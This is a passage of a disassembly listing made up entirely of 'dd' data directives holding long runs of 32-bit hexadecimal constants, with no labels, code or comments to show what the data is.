		dd 0A2BDC9A7h, 3561736Fh, 0E5896003h, 68BA2E05h, 8CC4F931h
		dd 9B221E87h, 9C97A16h,	9CC3F13h, 0F9ABC789h, 9822DF78h
		dd 0C1E4B5E5h, 249E3998h, 2B242C2Ah, 2C0BC7FDh,	3DF68412h
		dd 0DAB45003h, 0FA84A83Dh, 7EBA86A9h, 443FF9E5h, 0D044F7E9h
		dd 0F03058B9h, 0B34DB195h, 0A94E7778h, 0D9FBB4D0h, 5B633C0Bh
		dd 681220BCh, 784CF37Bh, 0EF5DDF29h, 170F1EA8h,	0CE7F6907h
		dd 4C96931Eh, 93199D3h,	30D749CAh, 8647578Fh, 5B45544Ah
		dd 8CEE22DAh, 0D00EB77h, 161B857h, 2BA52CBh, 7FA0228Fh
		dd 5CC2C8E9h, 536AFC12h, 0FB70F8DEh, 0F63C5A8Bh, 506F98CDh
		dd 4F433168h, 23F2DAC5h, 96303C38h, 0E3406A1Ch,	258508EAh
		dd 1C12D83h, 4E38B620h,	0F1EC2018h, 7AFF3909h, 0B350DFFAh
		dd 68DB6E27h, 2D08B4A0h, 0CB481FABh, 9BBF3A33h,	34C8CCEAh
		dd 7849B7C2h, 0AD9B2B5Eh, 0FEC9AF4Eh, 31416E89h, 2F4B8A5Eh
		dd 9994642Dh, 18CA0693h, 69B3BF26h, 4C13FEC5h, 0C0BF5C42h
		dd 15E9C315h, 923D5196h, 2709E3C1h, 57A0C2FAh, 1B706DFCh
		dd 0B492B547h, 822A8477h, 0BBBC35FBh, 0C83A3EC7h, 2EB66884h
		dd 0E81499ABh, 0E69D4920h, 17DE0705h, 20350F12h, 0D27F851h
		dd 0D746F60Ch, 9F73C611h, 681318C6h, 9ECA4B92h,	13D0B65Eh
		dd 60BB2868h, 0F617E20Bh, 4EAECC4h, 9DAFDAEh, 0F7C56D4Bh
		dd 51DF7E41h, 3CFA018Ah, 42907C90h, 14C7250Eh, 0B7891E3Fh
		dd 0FFD15DF2h, 0E9A41069h, 25F560C0h, 0FE1CD1C3h, 2C82F795h
		dd 0FD0B2E48h, 0C54BE446h, 289DF180h, 472C260Ch, 1819024Ch
		dd 246950A2h, 256A6526h, 0F5EC7ADEh, 0F69B344Bh, 5AD01296h
		dd 0DDD646AAh, 0CA2ED97Eh, 0E3082D57h, 0B65F167Ah, 25BC188Ah
		dd 0BC5EF041h, 0AE59696Eh, 781FE98Bh, 0D43005E2h, 0A4DCF65Ah
		dd 58814ABEh, 910AF02Fh, 3571AD41h, 0A6DFA92Fh,	10B9025Eh
		dd 2911974Eh, 605AA2DCh, 3E6E86CEh, 0EE0075F8h,	620105EAh
		dd 615BDBE9h, 485485C9h, 119E808h, 0C869FCB9h, 0E1B34070h
		dd 722D2150h, 0A3301601h, 0FF6DF824h, 97C89D72h, 312A282h
		dd 0AE1829A5h, 586FF87Ah, 0FE1364EFh, 0CF7FFC97h, 0CF3C7E4Fh
		dd 5C6B539Fh, 57003674h, 0E92FA77Fh, 3C4D6B21h,	0CB09667Ch
		dd 4BC44630h, 0B9AEB429h, 4C4B43F2h, 125D9FF4h,	0B70FCCE9h
		dd 0D829007Dh, 354E322Dh, 1242BC7Ch, 12080850h,	0F83B301Eh
		dd 0A3F4159h, 0AEDF6376h, 0D72EA0Dh, 846E45FDh,	12A2BA8Fh
		dd 0EF4064CBh, 80005B66h, 0EA2898F5h, 0B0CAFE59h, 4A254078h
		dd 20876497h, 0C89F1038h, 9F64D863h, 9C9055Eh, 2D68EE3Dh
		dd 19624A68h, 55BA3AF5h
		dd 1059EEC1h, 14F4DB8h,	9C3542CCh, 0FC106B6Dh, 7991457Dh
		dd 0F1ACABC2h, 7A3896Bh, 348BF27Bh, 0CAD2D14Ch,	86642593h
		dd 7797779Ah, 0CDA60E96h, 0D75DEB25h, 133BC7CFh, 0C7640B09h
		dd 372104C1h, 611EE804h, 0CF7D1D3Eh, 55541871h,	0A549081Dh
		dd 6CFA240Ah, 2B68E7D8h, 7A34C12h, 0C27D2B60h, 99D0B9E9h
		dd 9FFBB4Eh, 79F58933h,	5A05617Bh, 51DD305Ch, 5E4A1DB0h
		dd 0E7A2B6ADh, 689518F7h, 16659F3h, 0EF490A81h,	3922F475h
		dd 8421D995h, 80C91BC1h, 37A0F1B9h, 0CA7FD224h,	3EB605BCh
		dd 830232C0h, 62EA7CACh, 6C928DD9h, 2C089860h, 12C15BFEh
		dd 0D877498Bh, 65B7B4FDh, 16F71367h, 0EB2964DFh, 65A13680h
		dd 0E9ED0943h, 0C233532h, 0E5176A60h, 0C6BCF4DBh, 0C9B2C1CCh
		dd 2019DC58h, 22D04EDFh, 9B4A2EF3h, 72E9DC5Dh, 39E4AF61h
		dd 3D7721DDh, 11E157AFh, 0C6E52BB9h, 2A36C97Bh,	0B13458C6h
		dd 8D46828h, 0BB284F96h, 0AD2F8D2Ch, 21636861h,	9270B67Bh
		dd 97D51B56h, 0E707A4AFh, 682E829Dh, 31B97A44h,	0EC151B5Dh
		dd 0F4317A48h, 1704E5C8h, 2FC4FB90h, 3CC2C384h,	2DB57B06h
		dd 53400A5Eh, 4C21CABBh, 9F10B892h, 0CFD13E07h,	0D48079FDh
		dd 210C2C30h, 0ED55489Fh, 1B870D74h, 3F953AE9h,	0D5209A82h
		dd 839647D0h, 0CC80C2C5h, 4E634D2Dh, 12AFAC4Bh,	57372368h
		dd 4A77AC8Fh, 5A10FC46h, 0E85F40A0h, 812F9014h,	3A7CED00h
		dd 52E947C0h, 0EFF9BF09h, 980FC2h, 940E1568h, 0C15E6D05h
		dd 738005E6h, 4AEB9F22h, 63B4FCC2h, 9A7B3096h, 3E25007Fh
		dd 62025548h, 449A5935h, 0DD6A4212h, 2F0C5B2Dh,	0E648FAE8h
		dd 618FB4Bh, 0B04D8B48h, 53D98C7h, 5E0348ACh, 0F717C031h
		dd 393835D8h, 7F01DF21h, 148307D5h, 0E1988020h,	0BA7C2ED9h
		dd 0F96CE916h, 0E8F104A0h, 52B8F921h, 4E2BED06h, 1913C69Fh
		dd 5D0BA853h, 0D5A58976h, 105FADE6h, 80D393C8h,	5113ACBEh
		dd 600807F5h, 0A43E3734h, 0DA3D90D2h, 4326685Bh, 5DCB1464h
		dd 0F1FFFAC2h, 358E0C53h, 0E1338034h, 0B312067Bh, 0ACE2C7C1h
		dd 0A5E5D88h, 0EF395D6Bh, 0DEAEA7F9h, 6AD66242h, 18F8DD12h
		dd 32AFCA1h, 0FEA81058h, 0A5AD3E32h, 9DF27081h,	5BEB1179h
		dd 0F08A1371h, 57775D4Dh, 0DE41B22Fh, 98C66059h, 0CB01B20h
		dd 0E4C0DD5Bh, 0CA2D1B8h, 0C331EF4Dh, 2203ED26h, 1747911h
		dd 86C41DDh, 279E9A01h,	25846D9Ch, 0B3A5D89Ah, 37AC0B51h
		dd 0FBC4B076h, 13511E52h, 40B4E095h, 0D64A7BFCh, 81AC6549h
		dd 0C301178Ah, 0A070FC3Bh, 98261BBDh, 977F9A3Fh, 17DAAFE4h
		dd 5F220B0Ch, 0D125154Ch, 251CCC21h, 2B9A61CAh,	39C1D110h
		dd 4BFB2297h, 84BA0037h, 0A7A3E15h, 14E8A035h, 0C1323783h
		dd 0F344F205h, 68792CABh, 0D3334525h, 0C834681h, 1260E913h
		dd 89374993h, 0D8283654h, 0C9D60813h, 0A4A0205Ch, 0F8D02AF5h
		dd 0F401DD5Eh, 0DBA65CE5h, 0E28991A4h, 0F6F32E22h, 769F7A38h
		dd 0D4B47F13h, 0DA52EA1Ah, 27605DBEh, 8994CC0Fh, 0AC865584h
		dd 0C1EED2F0h, 13542961h, 0B9EDCC52h, 6E2C6607h, 0B11EB50Ch
		dd 0F1E62EB4h, 0E310A712h, 0F358009Ah, 386203A5h, 0F9EB4F68h
		dd 0A3D019CCh, 0B52FC7D5h, 1407ECB7h, 282AD9B7h, 9CF1FAFBh
		dd 660281F1h, 0F16FB450h, 4A006FDEh, 0F07E781h,	2C037B11h
		dd 455EB89Ah, 0D8BBB1ACh, 362D6896h, 0B6A4650h,	4C2673A4h
		dd 7DA3CAF5h, 1366640h,	0E4A38282h, 0D1572937h,	5E753E3Ch
		dd 34D3E4CBh, 778FD1CFh, 767F54E6h, 693ABFCDh, 909CD95Ch
		dd 5A56CD01h, 9D42E2C1h, 590649F4h, 6309036Ch, 0DF44A48h
		dd 5C230442h, 0F99C0C62h, 0F109F72Ah, 3852CE68h, 8A85E942h
		dd 21C2BF5Eh, 6281742Ah, 14DD110Ch, 0B7530141h,	307FB13Fh
		dd 10CB3DF9h, 11583D7Eh, 1C5E5A10h, 3E820C04h, 40345D2Ch
		dd 7358C2B8h, 30E52C80h, 447E2517h, 6440D896h, 950399B8h
		dd 0F92D030Ah, 0F721FE42h, 68A9BEFCh, 6B050801h, 7A7DC0DDh
		dd 0F60534A1h, 5CED5A57h, 3A220DF1h, 4BC322D8h,	9F4B2984h
		dd 0D1302854h, 0B389EB9h, 0CD3156D1h, 6709908Eh, 8B4F977h
		dd 0D924AEEEh, 2A9BF08h, 21B06857h, 0A70B31CCh,	8013EF31h
		dd 3E4DD55Dh, 84494F12h, 0DC81C023h, 315A6BFBh,	4DB9094Dh
		dd 58103760h, 14811D49h, 32EA3064h, 68C30484h, 0C8A303B2h
		dd 0F6196D0Eh, 34CF81C0h, 0E587B43h, 1C1E07D7h,	0CAC053ACh
		dd 0B0BD7CCDh, 50375D41h, 0BE145B3Bh, 984FA7F6h, 0BA0716Bh
		dd 0D92410C6h, 0A50C8169h, 0BBB16F5h, 3C1B63FAh, 24FD0B77h
		dd 0E2AA9090h, 7F24836h, 53372B03h, 0DFAF5EF2h,	65B1A146h
		dd 7FF9E030h, 0C56602Fh, 0E9C779A1h, 94BAD597h,	0BB026F41h
		dd 32691A63h, 15E8DD16h, 862F0ECBh, 65A65101h, 2A41855Ah
		dd 5F5C2718h, 0D1DF1762h, 55C5001h, 0CFFD8809h,	85407FF1h
		dd 1F1E7617h, 0EE145E27h, 68936707h, 6DBF5B14h,	4265D58Fh
		dd 0E350866Fh, 28342D05h, 0B7E6273Bh, 9888FB4Ah, 87B15AE9h
		dd 0C2D33441h, 6D7D0359h, 8C1A118h, 51057E99h, 7582AEB5h
		dd 6EAF54B7h, 46EA16E3h, 3F9E4805h, 0FAF07455h,	5F08A0E9h
		dd 0CEF0F05h, 0C8CB0A7Eh, 0DC8D8F6h, 0E9D02903h, 9DEA9C63h
		dd 7D42EDDCh, 0F0EB01CCh, 584E9B6Eh, 265B0E85h,	0F0FF8501h
		dd 0EE514808h, 791C3A8Ah, 7121C09h, 25788F3Ch, 50BFD340h
		dd 812C3D00h, 627865F5h, 0D0D09F64h, 5E14DE97h,	0F45EE97Fh
		dd 405D14A4h, 0D12D6805h, 45D6FB4Ah, 7E88805Ah,	5E4E2311h
		dd 2E5D5AA4h, 1625DF1Ah, 2C98A10Ch, 0CAEFB48Dh,	49E90973h
		dd 0C3397F2Ah, 0C6A27A53h, 417A5B48h, 0FCF0C1F7h, 0D79866B4h
		dd 0F828481Dh, 805A5B81h, 0C3CC4CEBh, 0E9CCE122h, 0AC2E4E5Ch
		dd 3150DF13h, 11CCBA4Bh, 0FEED2E91h, 0DD084B03h, 0E93A2CBFh
		dd 0B8F545D5h, 9774D825h, 3608F82Bh, 70BF0163h,	0E84D4C19h
		dd 0A0977721h, 3C7FD85h, 0D640F602h, 50192091h,	0C0F8F2B0h
		dd 2ACA5655h, 0F6270BF1h, 7B62E525h, 0CAC579F7h, 0EB798895h
		dd 0E1A7127h, 0D9E49ABDh, 95198043h, 3B0CFD33h,	51092AE9h
		dd 4A580BF7h, 2E8057ADh, 31D4CF8h, 251F18C7h, 53C04114h
		dd 4ECED255h, 1DCC3BDh,	0F8E9C2B4h, 3B92378h, 2674F24Bh
		dd 8A000A9Ah, 9B1ECD8h,	2185F531h, 6855A4C5h, 270EF931h
		dd 416E2A13h, 3CD13B8Ch, 83F12BEBh, 0A207903Ah,	1E011873h
		dd 0FF15E105h, 25432D43h, 37B08CE9h, 5CC70980h,	0C575FA30h
		dd 0A7F09F57h, 0ED27EA48h, 90575D80h, 9DAB20B9h, 0F9F75C17h
		dd 0BF9284B2h, 6800EC8Ah, 440251E2h, 0D6506E9h,	1EB4240h
		dd 9D758D2h, 36A1114Dh,	534F5507h, 26A9A689h, 2B13FF54h
		dd 0EBDB74BBh, 5C8425FCh, 0C26C8031h, 47D22CE9h, 0B2178EECh
		dd 0EB77AA54h, 5AC2EBB3h, 1539AEEFh, 82865930h,	2195545Fh
		dd 67969D21h, 6BEF025Eh, 5F15A90Bh, 0B355E28Bh,	0C3B5FFA1h
		dd 97030AEh, 44B04A27h,	0F9E6AF09h, 69BB7108h, 0F8318C83h
		dd 1AEAAC02h, 0C14F6009h, 24DC6C54h, 0EC6A9D2Eh, 20B20808h
		dd 7E92514h, 70C6C290h,	0F7760E0Ch, 1E3F26D0h, 1E0BAA73h
		dd 41D182D9h, 5F56E0E9h, 33083E24h, 515E0BBEh, 0A9555402h
		dd 76BDDF64h, 0DB5A2F74h, 89F13E29h, 4BE052BEh,	0EC379286h
		dd 0DB7A0BF4h, 93C031DFh, 0D41ABDEAh, 0F7903657h, 29296278h
		dd 7C0BAACEh, 0A52DC516h, 27A2C5D7h, 921085Bh, 0E1FA6A34h
		dd 2C96BC8h, 84FAF96Fh
		dd 0B4AA0B35h, 101228AFh, 7909B7AEh, 0D7D875D3h, 981A245Dh
		dd 0F64156B6h, 17CAF248h, 0A627B0E9h, 63C4105Fh, 7BF7E140h
		dd 20C62CA6h, 3110C1h, 52263BBAh, 16C9BE37h, 0FDC8ADD9h
		dd 0F4FC5A3Ch, 9D3C1E17h, 0AAE93F7Fh, 0AD8C6813h, 116E160Eh
		dd 0F31881E3h, 0DF376518h, 539DDA01h, 0A86A9BBBh, 0AF3DC20h
		dd 639556C4h, 6C2F03EAh, 1801791Fh, 0CAE8BAF7h,	0A421DA29h
		dd 0ED6D912Ah, 0E7CFE46Bh, 0F0EA0132h, 56A9F510h, 28562812h
		dd 0E91502CBh, 0EEE558D7h, 55AFA2CAh, 5912637Ch, 0AEB431A8h
		dd 847612A3h, 0F1CB5B4Eh, 0E8CA4212h, 1336C138h, 0F1E1439Bh
		dd 8234FDFDh, 595CC9F7h, 2688FAF5h, 0CB2ACF2Ch,	0E9504654h
		dd 3EC76360h, 6FB9CB31h, 12D02E4Eh, 2FBB15F2h, 2ED41BA3h
		dd 54C0EC12h, 9541E05h,	0D8293199h, 7A62A402h, 2C28C55Fh
		dd 0DE555202h, 8D652F54h, 2727669Eh, 1328BB8Ah,	11E8542h
		dd 23A5416Eh, 0BE806B29h, 9061A257h, 85E91722h,	4A684114h
		dd 2F0E5234h, 6C533EC2h, 7AD0FE69h, 0D4035878h,	7BFCDF20h
		dd 2C74EFB0h, 0B1B2521Fh, 0F8026BBh, 56CB542h, 0ADDBB5Bh
		dd 0E477FC6Ah, 483F3FC6h, 0D725A658h, 0D601DCE1h, 0B57AECF5h
		dd 3D71555Eh, 4F7FFDA7h, 82CD09F4h, 0D74B7B79h,	71D57D32h
		dd 678B9F2Dh, 51BDCC5h,	25F02571h, 9E57D289h, 61F99F0Fh
		dd 1D0F3208h, 9E388A50h, 1DD78AC0h, 1E558884h, 55EF8109h
		dd 0CD23878h, 4144E1AAh, 2FB572FAh, 8AB671AAh, 9FFB04F0h
		dd 0FFB25EE3h, 0C2BEF4Bh, 45393E2Eh, 58F79135h,	418E7E28h
		dd 8402EC10h, 5C0ACFD7h, 8D89CFA0h, 51954D50h, 4C25D3E2h
		dd 6A7F4A19h, 67C5F1BAh, 0E6596BECh, 67165E65h,	0A84E85A7h
		dd 93E9844Ch, 96683990h, 1258BB18h, 0B837EECCh,	3F2BF783h
		dd 235AB4E5h, 0BF152D3h, 9AA53C41h, 0DFE5575Ch,	1CC05BE4h
		dd 5D1812h, 104E2D5Fh, 0D001196Bh, 67070551h, 5F86382Bh
		dd 0DA15C332h, 109425D3h, 368A8AF9h, 0CE948805h, 16EA4AB1h
		dd 0D709F2F4h, 13809AFAh, 0D71253E9h, 9693B6EBh, 0B0F874FFh
		dd 44007D02h, 0E2812DC2h, 0BDC93379h, 0F3C507Eh, 7FBF4DCCh
		dd 0C580EA8Eh, 7495713Fh, 4B3A1381h, 9FBEF33Ah,	599B1289h
		dd 770C88C0h, 0E76B5728h, 9C14DDA8h, 0BB6076FCh, 7391B926h
		dd 7E6458E6h, 8665EC04h, 63841C2Ch, 55015BADh, 3160A1C9h
		dd 0DD0BFED7h, 6CC7D42Fh, 433DD34Ah, 3898E989h,	35400011h
		dd 57E11083h, 40F020Dh,	19E9342Ch, 0F6C520DDh, 4B9B53C6h
		dd 0B0DBAC2Dh, 13130FABh, 0B075E978h, 3398490Eh, 0EC309641h
		dd 937C00E1h, 18055857h, 0BC4F26C9h, 0A917AEFCh, 598B2C0Eh
		dd 0DA5F682Dh, 0BF2208Ch, 3C09059Dh, 457310BFh,	3C6FD8A0h
		dd 10C44950h, 17EFBFD7h, 587BB65h, 0EA97DA27h, 302189Ch
		dd 5398B551h, 0FD8299B7h, 952BE760h, 98F33180h,	4FB3361h
		dd 0D4FBD0A5h, 99E7AAE4h, 16D9A019h, 9FFC3A05h,	0A7965D3Dh
		dd 0F277ABC4h, 58F3ECE4h, 18FD0B04h, 3A05AB08h,	4198D931h
		dd 204F0F89h, 0EDDF759h, 4BFAB850h, 0CC0AE057h,	0B2279F0Bh
		dd 0E651824Ch, 2983C6DEh, 0D9155536h, 367FD0DBh, 0C2906069h
		dd 995C9F40h, 0E5F184F9h, 790A92FEh, 0F0A642D5h, 1BE6BDCDh
		dd 926AE92Ah, 2A906804h, 5DB8274Ch, 890F9231h, 8605E7CBh
		dd 62191457h, 79391CBBh, 0EE91C8Bh, 66B7BBD0h, 0F80D3B99h
		dd 0F72E1700h, 610540D8h, 52AB6716h, 0A060D21Dh, 0B5EFF301h
		dd 20058CC9h, 1A7CCC80h, 51646560h, 9D203463h, 890B69D8h
		dd 0A95559CDh, 58B55E9Ah, 135BDCE9h, 17E95BEEh,	0FE295E80h
		dd 0F4EC875Fh, 512ACF07h, 834FB013h, 681201EFh,	0EEE36177h
		dd 50FAD407h, 0B4C7E593h, 274A3CDDh, 578064E3h,	110948BFh
		dd 0CE801F5Ah, 96533FE9h, 83D5A54Ch, 0E9F30130h, 1A9A70C3h
		dd 2F5FE45Ah, 0DB9E8555h, 4EF390F5h, 1418BA1Ch,	33574F44h
		dd 696C478Dh, 0A7E1DC82h, 42C2BFBh, 0A2F61FEh, 3E627568h
		dd 722F3B29h, 54274E26h, 6772A662h, 8D52A57Ah, 0EEB1254Fh
		dd 5E3F9E2Eh, 17F465BEh, 86CAFF55h, 0B816E985h,	0F28009E4h
		dd 1769D46Bh, 1F770466h, 5BE023Ah, 29B44103h, 0EC1CF02Bh
		dd 2F683840h, 36472528h, 0D71ED7AFh, 5A8F475Dh,	314D60AAh
		dd 1B012844h, 107BE981h, 0E32A64C9h, 8BAFD2F7h,	0F6F66A7Fh
		dd 0DE0CFB00h, 4944E906h, 1E4B00AAh, 556D4BA2h,	0C9C6B4E8h
		dd 290B4517h, 80478E5h,	502642E3h, 0EE586544h, 0F0A8BB56h
		dd 194AC3A8h, 0B8C489ACh, 77C249B5h, 74F4D1ABh,	8F96859h
		dd 3C68AC4Dh, 0F87C0701h, 442D5851h, 2F2D0B06h,	350FDBF0h
		dd 5DC966DFh, 43447442h, 8458C316h, 536AB202h, 0C009BA7Ch
		dd 70CC54E5h, 784BF968h, 0C61848CEh, 0D1CBC30Dh, 24265412h
		dd 95018CECh, 317DD066h, 0EA1F30DDh, 0FA295D07h, 0D7CB215Fh
		dd 2CE1E74Ch, 43F15EC9h, 2D575CFEh, 0D3E991F1h,	4A51AF8Dh
		dd 61065E4Bh, 33783E68h, 58541E30h, 79A5B09Dh, 0FCCF88A9h
		dd 4F3A402Fh, 1815E881h, 0E3DCC02h, 0FD13EBC7h,	6709C373h
		dd 8E947C5Fh, 649D6EBEh, 5765AF72h, 9FE155E4h, 5259273h
		dd 1E96A30h, 92D91C5Ah,	327A05E5h, 21D0F718h, 6E7F7B95h
		dd 68E70590h, 0E435708Ch, 0D06E0D81h, 6357C041h, 9195622Ah
		dd 822A4C7Dh, 0D16860CDh, 22BB0E0h, 3501C083h, 0E05DE3FDh
		dd 9D092C85h, 8EA03451h, 0BF0EC6B2h, 40C175B6h,	0E68DFF7h
		dd 5644A879h, 2E19F453h, 8B7C043h, 57178B49h, 0E44A3CB6h
		dd 0E725E98Ch, 11EEDD18h, 7F2F5DB6h, 0FE5BAEB3h, 80308DF5h
		dd 5A7A401Eh, 81D52900h, 9F2D41EDh, 93B947Ch, 917F0714h
		dd 80715082h, 0AD8B092Ah, 8BD63C09h, 0A31719A6h, 54364A22h
		dd 0BD584AC6h, 0C152990h, 210BF9E9h, 99F997EAh,	681074Ch
		dd 0BF6007CAh, 93F8A81Ch, 0C6007582h, 326C40F9h, 8635590Fh
		dd 0A92C4FB5h, 0DF3F82C3h, 4A92E05Bh, 83C99E17h, 2B7098F8h
		dd 0AE20C4DFh, 7AA6A931h, 3F45396Bh, 0DC686680h, 0CAF7916Ch
		dd 2D700265h, 0A8DD3E76h, 222808D4h, 5DD34525h,	22A9359Ch
		dd 110B2FE6h, 0A3A40E52h, 0E12CFE2Dh, 958039B6h, 61235CEDh
		dd 81EF556Eh, 43186AB2h, 80A05E01h, 0EC5D5E07h,	95CF34Dh
		dd 2674E9B9h, 126A9F33h, 8809C1FDh, 97C3DAFDh, 1087BF4h
		dd 0EBDA3B6Ch, 261A8943h, 4C1B780Bh, 814AE356h,	6B055E74h
		dd 5E7B7FE8h, 0CA5B1275h, 0F1597EC1h, 386802DAh, 0FE34585Eh
		dd 32A73E81h, 0CF1E4252h, 5644F987h, 0CBBEFEF1h, 0D67C6246h
		dd 4CD7092Ah, 80DC9763h, 857F63C3h, 8B48A2FAh, 0CDE3DDEBh
		dd 4EE0C5Eh, 0E8C1E9D9h, 0CC727F74h, 0E302D974h, 86D1F658h
		dd 81EA59CBh, 7E905B6h,	0D3A57C37h, 57689060h, 2F40A52Eh
		dd 957F96F7h, 84BEB85Dh, 8E9C5CC8h, 3987E028h, 0CC4B7168h
		dd 765ED556h, 447B6340h, 5E21404Fh, 0A0ECA0C5h,	5C13F0ECh
		dd 0F0ADCD01h, 5C1677E6h, 70AAEA31h, 9866F500h,	0CD426EC5h
		dd 0DFC5E1F8h, 95588C23h, 0F16E8241h, 971CFCC6h, 0AFA5D397h
		dd 57E453DEh, 0F34C17FBh, 0D62DD6EEh, 4F7F4A7h,	39BA0CFDh
		dd 0D10812DBh, 578CCF5h, 520538EAh, 4B8B55Fh, 0D606E208h
		dd 0A4C561FFh, 3CE33FFBh, 0EB7E2812h, 0E3FC84DDh, 1AD94FEh
		dd 0FB0713F2h, 0A073F002h, 39D85181h, 388592B2h, 0AE4E13C1h
		dd 49F31F28h, 0C904A526h, 0FF0C7312h, 2F87DEC0h, 0FB2B5A74h
		dd 0E9DFD402h, 0BB8CE897h
		dd 480EF8C7h, 0C5356B5Ch, 24C1EA0Dh, 0AA2F604Bh, 0DAE2BA20h
		dd 748E0537h, 203AB668h, 34090743h, 1812035Fh, 7E8FFF09h
		dd 27312F50h, 3A3CF5FEh, 1FA2613h, 0D9436F3Fh, 0C30C804Bh
		dd 5F03293h, 9940124Dh,	4B10AE27h, 0CE90907h, 255F1051h
		dd 121A0B8Eh, 3704C331h, 25BCA9ADh, 7919C2D3h, 0E0547225h
		dd 2D8BEC69h, 77A703FCh, 7A120046h, 0F4BDBA52h,	0D5562DB2h
		dd 0E9F78B39h, 58AFE13Eh, 0BAD3A06Ch, 28E92F2Ch, 5F9DF77h
		dd 0E6146835h, 90DC523h, 0DC05FCC0h, 500AAC8h, 0F5E9C731h
		dd 0B756BD43h, 5F8E68C2h, 7FF747F8h, 0B7F8EA7h,	33885610h
		dd 0FBED982h, 0A50CD6B1h, 0F705781Dh, 0E9B0C328h, 93AA0251h
		dd 37E5F768h, 213B83Bh,	594893F5h, 75DAD790h, 0E9C336BBh
		dd 16F360C8h, 7EAF6FF8h, 0E3FA1D98h, 5B132EB4h,	5F1648BDh
		dd 7A938923h, 0D3364B25h, 79C526E2h, 241A255Bh,	9E975C8h
		dd 73DD0F4Ah, 209E82Ah,	71F56AC7h, 5505FD5Bh, 66BC0050h
		dd 890A9043h, 2F3CC85Ch, 60C0568Ch, 0A0233AB8h,	182F4B7Eh
		dd 0A64922FBh, 0CA310267h, 688476F9h, 3CB75E9Eh, 7A231D05h
		dd 493A103h, 65A8B007h,	85058673h, 0D7E9D821h, 6858E0A8h
		dd 0A0F4C21Dh, 979F73A0h, 0FA32939Fh, 60687537h, 6DF57EDh
		dd 5B3B02E7h, 0BC440CBEh, 2D7F0D49h, 7E8BF5EFh,	8927CECCh
		dd 0D9185D5Fh, 599DBD22h, 19D3A5A6h, 0F41B860Bh, 0FFEE645Dh
		dd 0C17B06E1h, 2844ED57h, 8F84D28Ch, 147BB501h,	137F7E65h
		dd 8CE2EAFDh, 9AE73A78h, 25A5FF3Eh, 4FB5F400h, 594AEB28h
		dd 88DFC7EBh, 1E9B902h,	0E8B2A402h, 0E418ACFBh,	5A535FCBh
		dd 3A25E75Dh, 169977Ch,	0F1E4E58h, 56122Fh, 0E90D8FDAh
		dd 0B6A88D40h, 0CEF8E0C1h, 0B4505903h, 0DFC4FEA8h, 4C060126h
		dd 175EFD84h, 97ECE851h, 5FC422BEh, 0F9F6214Ah,	4BA920C4h
		dd 27DC7010h, 4904D35Ch, 888B455Fh, 73246B8Ch, 3182DA00h
		dd 0FACF89BBh, 1AF664A1h, 0CDCDEA59h, 2D584E81h, 60842C97h
		dd 6340B1C9h, 5B9090BDh, 8501FA3Ah, 0BB53C201h,	2EE80B44h
		dd 24E95805h, 0FCCCAA1Bh, 0BEEB6EB1h, 682CC800h, 0D9E66659h
		dd 0B1A81A74h, 25BF97B4h, 91AADD60h, 5CEF16h, 9088B1B0h
		dd 3BCC2D0Fh, 68E31F54h, 93F1513Dh, 91012E64h, 0ED12125Ah
		dd 0DBCC6266h, 6CF7095Ah, 2711984Ch, 8C71A4A6h,	4BE8CA01h
		dd 0BB600730h, 0B0208433h, 0E6D12F9Eh, 0FA035D0h, 0AB2D1018h
		dd 97FAF8FDh, 6D326730h, 0C100DD82h, 68C83118h,	813B3C22h
		dd 32695280h, 2BDE982h,	41BDF166h, 0E650C765h, 4A21685Dh
		dd 211DB37Fh, 81BC2CBDh, 55624FBAh, 68D5E548h, 0B3BEA01Bh
		dd 0B7AA249Dh, 2E430BD5h, 627FB889h, 0E908011Ch, 31822991h
		dd 13DF0670h, 14036E57h, 4620D168h, 4144F081h, 0DEA72F63h
		dd 4AFDBD4Fh, 8839D8EEh, 0C435A14Dh, 0C88C0329h, 51CE3988h
		dd 0E8A5F1BEh, 0E59D71F0h, 13C0A466h, 586C49CBh, 924C0A85h
		dd 705566E5h, 767232F9h, 6CCDD5Bh, 0ACE8212Ch, 0DBDE513h
		dd 0B387F4C4h, 5F548BF3h, 0B584974Ah, 45D0B95h,	1F16AC37h
		dd 30444C56h, 0D95008F9h, 0F45C6FABh, 5199815Ah, 107E4A4Bh
		dd 0EB5EC7C7h, 8AE96904h, 9443CFE1h, 716EC1D6h,	36F68D81h
		dd 8E2ED213h, 0A978ED0Ch, 4B6A7A91h, 80D802ABh,	49D7F5C6h
		dd 1ED3C221h, 0CF5B303Fh, 0A8662594h, 29929F1Eh, 4ABDBAF2h
		dd 15CC1AFh, 77300921h,	0C0415F74h, 92350999h, 4AE91E4Eh
		dd 71F6EB04h, 0F33280F2h, 961F3E6Ah, 0ECE7F752h, 0B5DE4E51h
		dd 729C0578h, 6BD95E7Ah, 273D71EBh, 5A253473h, 0FC5124F8h
		dd 3DB81AF2h, 883FDB07h, 0CB65201h, 2030EE80h, 478D4FE3h
		dd 3CAF75F2h, 5F5CFA8Ch, 0B2E909DCh, 0ACB4FD20h, 0E90D0247h
		dd 0D851122Eh, 605C0F31h, 0A987C2Bh, 0EC5F640Bh, 33B10154h
		dd 0E8CB8C50h, 9DFF3A05h, 8F4C3855h, 0C34BC990h, 48312A57h
		dd 35AE8E12h, 3912BA2Ah, 0B447148h, 0DE5B5B58h,	0C5ABCBE5h
		dd 41A3BE9Bh, 0BC894C25h, 0FC636E77h, 5BB8BA55h, 0FE37125Ah
		dd 0E957BA70h, 0AC4D5B80h, 2DD48149h, 0A02F74A8h, 8BB76072h
		dd 42857DEDh, 0C2E9A3F5h, 68CEC8E9h, 7928C5F2h,	0E3DF20C7h
		dd 1B585763h, 8729C032h, 0DDF732EAh, 216ED209h,	3119EF2Dh
		dd 35242098h, 0F745FD29h, 5D79A0BEh, 0B20BFF95h, 0E98B8745h
		dd 0B37BD8E2h, 42B83D1Fh, 0B409AD4Bh, 0D4D69EE2h, 7831EF9Dh
		dd 4765D88Ch, 9C401431h, 0B0F30F77h, 8AA0E7A7h,	0D9E3A108h
		dd 0DC9BD5E6h, 6FA49BDh, 0AB488304h, 0C3304EE1h, 4A2605FEh
		dd 0FEDBF716h, 730E9101h, 0F93E1518h, 0FEFA0627h, 0F549C850h
		dd 4F68ED6Bh, 4089DBF4h, 0DB9D5835h, 0C0F6ACD7h, 0F581E5D1h
		dd 4BC71F0Bh, 74E289D6h, 0C8298B72h, 0DD791248h, 2F878082h
		dd 7C11045Eh, 957D2547h, 5569B4E5h, 0CA6C3779h,	0AF1813C6h
		dd 6050FF2Dh, 38345508h, 0C28B4007h, 25D47919h,	0DADBE34h
		dd 24D88249h, 0EF58313Dh, 0D0616974h, 23B322FAh, 0DF826478h
